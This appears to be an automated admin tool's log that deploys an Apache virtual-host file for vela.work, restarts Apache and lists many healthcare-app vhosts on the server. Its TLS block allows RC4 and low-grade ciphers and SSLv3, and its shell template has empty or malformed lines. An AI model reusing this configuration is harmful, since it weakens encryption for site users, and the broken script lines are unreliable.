BASE=/etc/apache2
BASENAME=vela_www_work.conf
TARGET=/etc/apache2/sites-enabled/vela_www_work.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_www_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf= 1'
fi


2026-03-14 12:01:21: 

chmod 755 /tmp/pkp798310; /tmp/pkp798310; rm /tmp/pkp798310

2026-03-14 12:01:21: 




2026-03-14 12:01:21: 

PUT: /tmp/pkp694830

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-14 12:01:21: 

chmod 755 /tmp/pkp694830; /tmp/pkp694830; rm /tmp/pkp694830

2026-03-14 12:01:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-14 12:01:21: Establishing a connection
2026-03-14 12:01:21: 

PUT: /tmp/pkp300937

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-14 12:01:21: 

chmod 755 /tmp/pkp300937; /tmp/pkp300937; rm /tmp/pkp300937

2026-03-14 12:01:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:20)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-14 12:01:21: 

PUT: /tmp/pkp626332

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/vela_www_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 12:01:21: 

chmod 755 /tmp/pkp626332; /tmp/pkp626332; rm /tmp/pkp626332

2026-03-14 12:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf	1218

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
